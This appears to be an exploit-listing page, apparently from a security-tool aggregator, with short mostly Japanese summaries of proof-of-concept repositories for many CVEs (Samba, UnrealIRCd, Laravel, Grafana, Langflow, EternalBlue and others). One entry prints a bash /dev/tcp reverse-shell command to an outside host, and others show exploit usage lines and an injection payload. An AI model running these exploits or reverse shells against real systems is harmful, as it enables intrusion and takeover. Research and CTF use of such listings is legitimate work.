CVE-2025-55182-React2Shell-Lab

CyberSec Blog CTF - React2Shell PoC このリポジトリは、Next.jsとReact Server Componentsを使用したサイバーセキュリティブログをベースにした、脆弱なCTF（Capture The Flag）環境を提供します。 CVE-2025-55182 : React Server Components バージョン19.0.0、19.1.0、19.1.1、19.2.0における事前認証リモートコード実行（RCE）の脆弱性。脆弱なコードは、Server...

OHTS

OHTS CVE-2017-8759 | .NET Framework リモートコード実行の脆弱性 1. はじめに Microsoft .NET Framework が信頼できない入力を処理するときに、リモートコード実行の脆弱性が存在します。.NET Framework...

CVE-2024-48197

CVE-2024-48197 AudioCodes MP-202b における反射型XSS 説明 Audiocodes MP-202b v.4.4.3 におけるクロスサイトスクリプティングの脆弱性により、リモートの攻撃者がWebインターフェースのログインページを介して権限を昇格させることが可能です。 追加情報 N/A 脆弱性タイプ 反射型クロスサイトスクリプティング XSS 製品ベンダー Audiocodes 影響を受ける製品コードベース MP-202b - 4.4.3 影響を受けるコンポーネント デバイスのWebインターフェースのログインページ 攻撃タイプ リモート 権限昇格への影響...

CVE-2007-2447

Sambaster cve-2007-2447 Samba 3.0.20 必要なモジュール: root@kitploit: pysmb インストールしていない場合: root@kitploit: pip3 install pysmb 使用方法: root@kitploit: python3 sambaster.py...

CVE-2025-60787-Detection-motionEye-RCE-via-Config-Injection

README.md CVE-2025-60787 検出: motionEye 設定インジェクションによるRCE motionEye 静止画像 - 画像ファイル名 PoCペイロードの例: root@kitploit: $touch /tmp/test.%Y-%m-%d-%H-%M-%S motion が再起動すると、シェルコマンドが実行され /tmp/test が作成されます。 検出カバレッジ YARA検出 motionEye 設定ディレクトリをスキャン: root@kitploit: yara -r rules/yara/motioneyercecve202560787.yar...

exploit-CVE-2015-8351

Gwolle Guestbook WordPress Plugin RFI Exploit このPythonスクリプトは、Gwolle Guestbook WordPressプラグインの重大なリモートファイルインクルード（RFI）脆弱性を悪用します。この脆弱性により、認証されていない攻撃者がリモートのPHPファイルをインクルードし、脆弱なシステム上で任意のコードを実行できる可能性があります。 脆弱性の詳細 HTTP...

Laravel-8.4.2-rce-CVE-2021-3129

Laravel-8.4.2-rce-CVE-2021-3129 root@kitploit: exploit.py tested use python3,and only working with phpggc . first docker-compose up port on 8888 at 127.0.0.1 generate key first...

CVE-2023-27742

CVE-2023-27742 IDURAR ERP/CRM v1 には、コンポーネント /api/login を介した SQL インジェクションの脆弱性が存在することが発見されました。 Description IDURAR ERP/CRM v1 には、コンポーネント /api/login を介した SQL インジェクションの脆弱性が存在することが発見されました。 Vulnerability Type SQL インジェクション Vendor of Product IDURAR ERP/CRM v1 Affected Product Code Base...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 CVE:2010-2075 用エクスプロイト。このエクスプロイトは UnrealIRCd 3.2.8.1 でリモートコード実行を可能にします。 要件 optparse, signal 使用方法 実行するコマンドを送信できますが、応答しない場合もあります。その場合は、リバースシェルを送信して接続が届くのを待つだけで構いません。 root@kitploit: python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i & /dev/tcp/10.0.2.48/443 0&1"'...

EvilSunCheck

EvilSun 脆弱性チェッカー CVE-2020-14871 これは、Solaris システム上で「EvilSun」脆弱性 CVE-2020-14871 を検出する小さな Python スクリプトです。この脆弱性は、SSH でのキーボードインタラクティブ認証の処理時に、Pluggable Authentication Module PAM の pamunixauth に発生するバッファオーバーフローです。悪用に成功すると、リモートコード実行またはサービス運用妨害 DoS につながる可能性があります。 要件 Python 3.x paramiko ライブラリ インストール...

cve-2025-55182

🛡️ React2Shell CTF 🚀 Bienvenido a React2Shell-CTF , un entorno Dockerizado diseñado para practicar la explotación de React2Shell CVE-2025-55182. React2Shell es una vulnerabilidad crítica que afecta a aplicaciones basadas en React. Este repositorio proporciona un desafío Capture The Flag CTF seguro...

Blackash-CVE-2017-0144

🌐 CVE-2017-0144 — EternalBlue: Microsoft Windows SMBv1 リモートコード実行の脆弱性 「ひとつのエクスプロイト。数十のマルウェアファミリー。数十億ドルの損害。」 🔍 一言でまとめると CVE-2017-0144 は、Microsoft Windows の SMBv1 サーバー実装における深刻なリモートコード実行の脆弱性である。EternalBlue として知られるエクスプロイトはこの穴を悪用し、影響の大きい攻撃（特に WannaCry）に使用された。 🔥 EternalBlue を使用したマルウェア トップ10（詳細）...

CVE-2022-0944

CVE-2022-0944 SQLPad - 模板注入 这是一个盲漏洞，意味着输出会直接返回在响应中。 利用 使用以下命令运行脚本： python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 输出 root@kitploit: Login was successfull Exploited! 测试环境 使用 docker： 启动 docker 容器 - sudo docker run -p 13000:3000 -d...

Log4j-_Vulnerability

Web は CVE-2021-44228 に対して脆弱です この Web アプリケーションは CVE-2021-44228 に対して脆弱です。これは Apache Log4j 2 の重大なセキュリティ脆弱性であり、Log4Shell として知られています。この脆弱性により、認証されていない攻撃者が、ログシステムによって記録される特定の入力を送信するだけでリモートから悪意のあるコードを実行でき、サーバーを完全に乗っ取る可能性があります。...

CVE-2022-21661

🛡️ CVE-2022-21661 PythonベースのProof-of-Concept PoCエクスプロイトです。CVE-2022-21661は、WordPressにおける深刻な脆弱性で、認証されていない攻撃者によるオブジェクトインジェクション攻撃 を許し、特定の条件下ではリモートコード実行（RCE）にまで発展する可能性があります。 この実装は、z92g氏によるGoベースのPoCに触発されたもので、スクリプト利用者、特にセキュリティ研究者やCTFプレイヤーにとって、よりアクセスしやすく使いやすいバージョンを提供することを目的としています。 ⚠️...

CVE-2024-9264-Fixed

🛠️ CVE-2024-9264 - 修正版 Grafana RCE エクスプロイト これは、CVE-2024-9264 （Grafanaにおける重大なリモートコード実行脆弱性、SQL式とDuckDB経由）の概念実証エクスプロイトの修正版 です。 🔗 元のアドバイザリ: Grafana Security Release ❌ 元のPoC: 構文エラーと writefile の誤った使用により破損 ✅ このバージョンは動作します。脆弱なGrafana 11.0.0インスタンスでテスト済みです。 ✅ このバージョンの修正点 ✅ 正しく writefile を使用（writefile...

CVE-2026-0770

CVE-2026-0770: Langflow execglobals 認証不要のリモートコード実行 PoC CVE-2026-0770 は、Langflow に影響を与える認証不要のリモートコード実行 RCE 脆弱性です。 この欠陥は、/validate エンドポイントに提供される execglobals パラメータの処理における不適切な入力検証に起因します。これを悪用することで、攻撃者は検証ルーチン中に信頼されていないグローバル環境を渡すことができ、root ユーザーのコンテキストでリモートコード実行を達成します。 ! 免責事項 警告:...

CVE-2025-34159

CVE-2025-34159: Coolify における Docker Compose インジェクション 脆弱性の概要 フィールド| 値 ---|--- CVE ID| CVE-2025-34159 影響を受けるバージョン| Coolify ≤ v4.0.0-beta.420.6 修正バージョン| v4.0.0-beta.420.7 深刻度| 重大 CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78 OSコマンドインジェクション, CWE-20 不適切な入力検証 概要...

git-lfs-RCE-exploit-CVE-2020-27955

Git-lfs リモートコード実行 RCE エクスプロイト CVE-2020-27955 .bat / powershell 版 影響を受ける: git、GitHub CLI gh、GitHub Desktop、Visual Studio Code、SourceTree、SmartGit、GitKraken など 発見者: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows 上でテスト済み: git、GitHub CLI gh、GitHub Desktop、Visual Studio...

CVE-2017-0199

エクスプロイトツールキット CVE-2017-0199 - v2.0 エクスプロイトツールキット CVE-2017-0199 - v2.0 は、Microsoft RTF RCE を迅速かつ効果的に悪用するための便利な Python スクリプトです。複雑な設定を必要とせず、悪意のある RTF ファイルを生成し、Metasploit / Meterpreter ペイロードを被害者に配信できます。 ビデオチュートリアル https://youtu.be/42LjG7bAvpg リリースノート: スクリプトに以下の機能を導入 root@kitploit: - ツールキットを使用して悪意のある...